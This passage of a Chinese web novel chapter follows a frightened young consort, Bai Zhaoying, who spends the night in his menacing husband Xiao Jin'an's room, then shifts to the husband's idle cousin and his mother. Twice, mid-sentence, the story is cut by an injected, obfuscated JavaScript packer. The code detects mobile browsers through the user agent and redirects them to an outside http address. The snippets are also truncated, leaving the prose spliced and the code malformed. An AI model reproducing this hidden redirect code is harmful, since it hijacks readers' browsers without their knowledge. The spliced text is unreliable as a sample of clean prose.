他对萧烬安解释,尽量又柔和又轻缓跟对方商量,为达到自己的目的而恳求:“夫君,我做噩梦了。想看见个活人,我可以给成安守夜钱。” 萧烬安并不理会,把胳膊搭在了额头。 白照影的声音再次传来,他像是在转圜,也像是在讨好,珠玉般的嗓音连续道:“我实在害怕,茸茸也不在北屋。你要是不忍心成安守夜,夫君,让他睡在我旁边都行。” 萧烬安翻了个身,那始终不曾泛起的困意,越发离他远去,他越听越觉得不对劲,琢磨白照影的诉求,使他瞧见床顶飘绿。 这时门外白照影不在央告,他又困又怕,其实脑袋已经不太转了。 他换了个话题,想赶紧脱身: “对不起,不该打扰夫君睡觉……那我自己去想想办法,我不麻烦成安,我也可以今晚先到下人房里,挤一挤。” 世子院伺候的随从的不多,除了成安跟成美,这两个半主半从的单住,其余下人房是两个四人间,各分男女。 白照影毕竟是男子,肯定不能跟侍女们混住,他木着眼睛,打算蹭住男寝。 正欲举步离开时。 南屋被罩顶绿云,压得几乎透不过气的世子殿下,眉头紧皱。 萧烬安把胳膊从前额拿下来,半坐起身,隔着道门,缓缓地质问门外的白照影道: “白照影,你当我死了吗?” *** 呃…… 怎么说呢,这话他接都不敢接。 白照影困得连眼睛都睁不开,只是被萧烬安飘过来这道阴森森的语句,吓得纵使醒着,也如坠噩梦。 怎么就跟生死联系起来了呢? 他到底不知道,触到萧烬安哪片逆鳞,抱着枕头往后退了半步,见到海棠树枝投落在门扇上,是许多扭曲错杂的树影,像大团大团从后向前笼罩住他的鬼祟。 白照影只能哆哆嗦嗦的:“对不起。”先敷衍为好。 “进屋。” “……” 抱住枕头的胳膊,微微收紧。白照影没太听清。 树影婆娑,扭曲的树影像怪物的手,他神识因为困意仿佛跟外界又隔了一层,迟钝地站着没动。 “那还是……不用了吧?” 萧烬安的屋,不是安全屋,白照影想得是大魔窟老虎洞。并未料到对方竟会让自己进去,而且也完全不受用。 他就是被缉捕刺客现场,萧烬安那刀吓着才做噩梦的,进屋不是梦见鬼,而是就睡到鬼旁边了!大魔王大厉鬼! 脑子困得已经完全转不动。 可求生欲到底还是让白照影后知后觉地反应过来,刚才自己因为太害怕了,说出来的那番话,好像对世子妃角色有点出戏,他就不该跟别人同住。 ——如果要躺一张床,他只能跟萧烬安躺一张床。 刚才那番话,是在世子殿下男人的尊严上面乱踩,雷区疯狂蹦迪,后果很严重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13889700|147028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大佬要收拾自己。 白照影后悔自己贸然跑出北屋,要不……还是让茸茸的头追自己吧? 他再度浑身冷汗,转了个方向想逃。 萧烬安却在门那边发出道鼻音。 吓得白照影脚腕发软,心说万不能麻烦萧烬安出来亲自捉拿自己。 他自认倒霉,满嘴乱瓢讲错话,他垂头耷脑地推开条门缝,不知萧烬安将用什么办法,惩罚他在屋外面胡说八道。 南屋的门发出轻轻一声响,微弱的门扇声,在过于静寂的黑夜里,响声漫长而酸涩。 白照影关上门,就只敢站在屋门口,两脚像灌了铅似的沉重。 他以前从来没有进过南屋,借着月光,看见两个屋大致结构相似,萧烬安就躺在屋里面,看不太真切,但感觉像蛰伏的野兽。 他虽想要见到大活人,里面这人也虽是活的。 可这活人却随时都能够把别人变成死人。尤其白照影刚才还犯了错。 两种矛盾情绪在心里交撞着,变成白照影向前走了半步,又赶紧怕烫似的收回足尖。试探得仿佛是只想动又不敢动弹的小猫,白照影不吭声。 萧烬安刻薄地取笑:“你是想找成安睡一个,还是到大通铺睡四个?” 白照影低头,快别提这事儿了。 抱着枕头的胳膊越收越紧,白照影紧张地收紧脚趾,既不想暴露真实的心思,又还得对萧烬安不遗余力地讨好,企图让对方不要那么记仇。 “我夜里睡觉会缠人,所以不敢打扰夫君。”这个理由挺好,白照影糊弄地说。 萧烬安:“那就去缠别的男人?” 白照影只想给自己个嘴巴子,原来这个理由也并不好。 少年扁着嘴在透过月色的门边为难,抱着枕头,小小一只,现在是被困在笼子里的小动物,既要显得顺从,又在笼子里来回乱动,吸引起萧烬安的注意,也越发让萧烬安想要逗弄。 萧烬安恶劣地补充了句:“记得王府家法?” 吓得白照影打个激灵,想起清香白绫跟军棍,自己哪个也都不受用。 他连忙摇头:“记得。”但不要。 萧烬安在黑暗夜幕里审视着白照影,门边的少年牙齿都要打颤了。那双水润润的桃花眼,盛着些单薄的月色,很生动。 萧烬安于是更加悠然地排遣,报复对方害他睡不着的情绪:“你知道猪笼吗?” 白照影茫然地咽了咽口水。 里屋萧烬安淡淡地描述:“猪笼是用细藤条编成的,将人关进去,投进水里,泡两三天,捞出时尸体会变得又大又肿。专用来对付跟别人睡的妻子。你的鼻子就会跟拳头一样大了。” 白照影摸摸自己的鼻子,动作很迟钝,困得心慌,却又怕得有点想发抖。 他是真的见证过萧烬安有虐杀倾向,也绝对不想浸猪笼。 他竭力地又要弥补自己跟萧烬安这场对话,终于捕捉到了对方逻辑方面的谬误,白照影声音不大,小心翼翼地反驳:“我只是说错话,并没有真心做错事,夫君不应该罚我浸猪笼。” 但这句话看起来逻辑很对,却忽略了另外一个问题,白照影这是讲着讲着,把自己明明很无辜的自己,硬给绕进去了。 室内这时突然一灯如豆。 光源在萧烬安架子床左斜前方的圆桌上点亮,是盏油灯,萧烬安不知何时已披起衣服,用打火镰将油灯点燃了。 油灯的光线,衬得萧烬安轮廓异常高大。穿白色亵衣,衣料很单薄,他胸膛挺阔。似笑非笑的样子,似俊美的血海修罗。 萧烬安凝着跟白照影之间十几步的距离,展颜道: “那么,爱妃,我该罚你点什么?” 21. 同床共枕 “罚我……?” 为什么要受罚? 他只不过不小心做了场噩梦,现在就变成要来南屋受罚,对方好像还很理所当然的样子,白照影越发后知后觉地反应过来,自己又被耍了。 萧烬安的恶劣,体现在方方面面,算计他在每一字每一句都有可能。 白照影脚步朝光源趋近,这次是真的没法逃走。 他抱着枕头的指节,在绸面紧紧收拢,靠近了萧烬安跟前,雪松气息犹如雨后秋林,令人闻见泛起阵阵寒意。 白照影已经不敢再说话了。他为活命哄好大魔王,希望大魔王能赶紧给他个受罚的章程,这样好也见招拆招,早罚早超生。 但大魔王等他动作,并不急于处决,让白照影想起了猫玩老鼠。 小老鼠白照影吞了口口水,抬头释放出一个乖巧讨好的笑容,拿枕头边蹭了蹭萧烬安的胸口,他的视平线,也只能到萧烬安的胸口。 “我服侍夫君就寝。” “你觉得这是罚你?” 太错了。 “求夫君赐我与您同床共枕。”这说得都是些什么烫嘴的话。白照影想。 萧烬安淡淡讽刺:“做错事不应该赏。” 怎么着也都是萧烬安占理,萧烬安周围好像有某种看不见的领域,能把世界上所有道理,吸引过来包围自己。 白照影前世也不是个擅辩的,这会儿站着都困难,只好把头埋在枕面,艰难地想哭: “求夫君罚我。”你给个死法吧。 等待的过程依然是很漫长的。 从猫玩老鼠,变成了突然就被抓到审判庭,等待裁决的人犯。白照影的心通通直跳,心慌得不行。 脸埋在枕头,半晌没回应,白照影从枕头表面抬起眼睛,心绪犹带惊惶。 可审判长萧烬安殿下,却不知何时,早已经躺回了床上。他刚才披着的外衣搭在床前的衣架,屋内有很轻柔的烛火。萧烬安在幽昧的光线里闭着眼睛。 立即执行改成了缓刑。 白照影稍微放松警惕。 抱着枕头,有点儿好奇地打量他一会儿,歪着脑袋像某种正在熟悉环境的小动物。 猛兽没有反应,白照影把枕头搭在架子床边上,就着个睡上去不会掉下来的位置,小心翼翼地侧躺好,恨不能自己这会儿微小得是粒砂砾。 对面是个人,大活人…… 白照影眯着眼睛,对自己悄悄地这样劝告。 驱散噩梦带来的恐惧,就是需要旁边有人的呼吸声,能感觉到,人的形貌和温度。 他听到萧烬安的呼吸声,很绵长,大魔王呼气也不会像风箱。白照影在夜幕里就着点点微弱的灯光,仔细地感受萧烬安身体的温度,虽然他们还有点距离,但是,这具体魄,很烫。 仿佛能感觉到隔着单薄亵衣,传递过来的热意。白照影耳际微微发热。 他耐受不住呼了口气,满心杂乱,眼睛发麻,而萧烬安身体突然这时动了下,吓得白照影守着床边掉下来,在南屋卧室发出巨大的扑通一声响! 桌面上的火苗,被砸得微微颤动,火光在屋子里面摇晃。 白照影摔得浑身痛,泪意晕染起整层,眼睫毛上挂满了泪花。 他湿漉漉又讨好地扒着床沿爬起来,屁股痛得快要摔成了八瓣。 他又怕这点儿声音刺激打扰到萧烬安休息,战战兢兢趴在床边缓了会,对上萧烬安递给他的一只手。白照影凝了凝。 手的主人没什么动静。 但他竟突然意会了,双手扒着那只手,从床沿笨拙地往上爬。 以前都是萧烬安捏他脖子,他没有握过萧烬安的手,现在他两只手同时攥紧萧烬安右手,几乎是整个人的重量都用上了。对方一动不动,手臂也纹丝不动。 白照影借着油灯微弱的光线,看得见萧烬安从手掌到手臂肌肉的走势,匀称、流畅又有力量。 让白照影想起白天在声望楼,这只手挥起刃薄如纸的绣春刀。 若是单想起那刀,而不想起它带起来的血,只想到救下自己的结果,白照影稍有平静。 一点点示好也能让他有心头松弛的感觉。 他躺回来,放开萧烬安的手,掌心的热意逐渐消失,今天下午,在车里盘桓脑海的困惑浮现起来。 他口不择言地问:“其实会有人误会你吗?” 他的话音刚落,才刚刚平静下来的卧室,骤然间又宛如有看不见的弦微微绞紧。 萧烬安眉梢微动。在听见问话的瞬间,想起白照影探头出车外,撵那些嚼舌根的年轻人走。思绪的打开犹如潮水蔓延,他控制不住自己联系,白照影打碎的药碗,送给自己的礼物。 萧烬安却是变得更凶了。 但这回有点刻意,带着虚张声势与恼羞成怒,萧烬安甚至都没意识到,他是在掩饰自己: “北镇抚司还有许多刑具,除了猪笼,也很得用。” “……”这下白照影彻底没了谈兴。 那点儿刚刚冒头的好感小萌芽,再度被萧烬安扼杀,白照影战战兢兢。怪不得老隋王硬要安排萧烬安进锦衣卫,而萧烬安还能接受,原来竟是他无意间找到天职了。 白照影继续在萧烬安身边时刻警惕。 倒是亏得脑海里有了别的事,占满了他的心思,做噩梦梦见鬼手,反而让他抛到一边。 他随时等待宣判,等待做出反应,等待旁边的萧烬安惩罚自己,明明伸出头,而刽子手却不落刀,这才是最难熬的折磨。 白照影就这么风声鹤唳地躺着: 听见萧烬安呼吸,不时睁开条眼缝。 听见萧烬安有动静,他会吓得抖一抖…… 白照影在毛骨悚然与困意罩顶之间徘徊,仿佛死神和睡神,各自拉扯住他的两边胳膊,脑海间乱絮纠结成团,意识慢慢抽离,雪松气息逐渐覆盖了他的神智。 到底还是困意先占据了上风。 白照影能听见的话音,越来越浅。接着身体从僵硬的咸鱼,变得没那么紧绷。睡着了。 睡着时的白照影,桃花清香成几倍的释放,他睡得不太安稳,睫毛犹在颤动。 这时小腿擦过床面,亵裤裤脚与萧烬安的足踝摩挲,白照影很依赖活物,接触到同属于人类的肌肤,磨了磨,如荡过条滑溜溜的鱼尾。 萧烬安喉咙绷紧,轻吸了一口气。 “……”原来睡着缠人这件事,并不是假的。 他有点有意思,又带给自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13889701|147028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失控感。 萧烬安暗暗琢磨着这种感觉,完全陌生的感觉。 他轮廓深邃的眉眼里,眸光幅度不大地闪了闪,指端从枕头底下抽出那张放妻书。 萧烬安躺着,将放妻书折了几折,动作缓慢地,折成一只纸飞燕。 他拿飞燕的燕嘴,戳戳白照影的脑袋,拨弄他拨浪鼓似的摇头,在梦里打了个激灵。泄露出几声断断续续的梦话: “那刀……” “十年前……可怜……真疯假疯……” “我害怕……别欺负我……” 萧烬安嘴角微微抬起。 他不清楚白照影探听出几分内情,今晚一切体验都是久违的。萧烬安将那纸飞燕,在唇边呵了口气,然后抬手轻轻放飞出去,目标是桌上小小油灯台。 飞燕燕嘴直扑火苗焰心,力度拿捏得刚刚好。 火苗舔舐纸页,放妻书被火烧成灰烬。 他现在不太想放白照影走。 *** “金缕衣,玉带横。笑语盈盈,白马踏遍香尘路,锦绣艳夺彩霞明。” “翠袖招,红裙舞。笙歌不绝,玉指轻弹冰弦上,一曲新词醉千城。” 午后,午膳过罢。 隋王府水榭里,这所唱的,是京中纨绔爱听的新曲儿。词是意象堆砌,曲是靡靡之音。属于就算再听个千八百遍,都不会记住的那类。 然而萧宝瑞却听得津津有味。 圣贤书让他随手丢在地面,上头洒着几片瓜子皮。 萧宝瑞的手指尖轻轻叩着大腿,按着拍子跟随音乐懒洋洋地哼唧,他眯眼目光不时望向唱曲的娘子,刚才微风拂动,显现出那姑娘裙摆之下,轮廓修长的大腿。 萧宝瑞咽了口口水,圣贤书怎么说来着?窈窕淑女,君子好逑……君子不仅需要有淑女,还得会踢球。 对,那就听完唱曲再去赌球。 他好朋友尚书府家王三郎,最近开盘做局,赌得是上京城两支有名的马球队谁输谁赢。两支球队都很威武,萧宝瑞很是困扰了会儿,不知到底押哪个。 唱曲娘子嗓音婉转,萧宝瑞闭上眼,却听见音乐骤停,她不唱了。 萧宝瑞皱起眉头,心下不悦,熟练无比地摆手道了声“赏”,竟连眼皮都不抬。 接着耳朵就被拧住了:“大胆——啊疼疼疼,娘……娘住手啊……娘……”萧宝瑞哀嚎,骨碌从圈椅滚落,屁股砸在圣贤书上,压碎了几片瓜子皮。 许氏一佛出窍二佛升天,气得满头簪饰乱颤:“你不是读书考学吗?这便是你读的书,你考的学?你知不知道那疯……” 到底还是存了些理智,许氏把声音压低,没嚷出不该说的话,又看见儿子摔到地上,委屈地望向自己,拉起萧宝瑞哄道:“瑞儿,摔疼了没?” 萧宝瑞顺杆爬,挤出两滴眼泪,哑声说:“娘干什么这么大火气,厨房里少给娘炖了银耳还是雪梨?我好好地听个歌词学学作诗,怎么在娘眼里看来,我就做什么都是错的呢?” 许氏自然听不懂词好词坏,萧宝瑞递过来唱词本子,密密麻麻的都是字,随手翻看几页,她只能干笑。 许氏转了个话题道: “娘问你,你知道幽兰教吗?”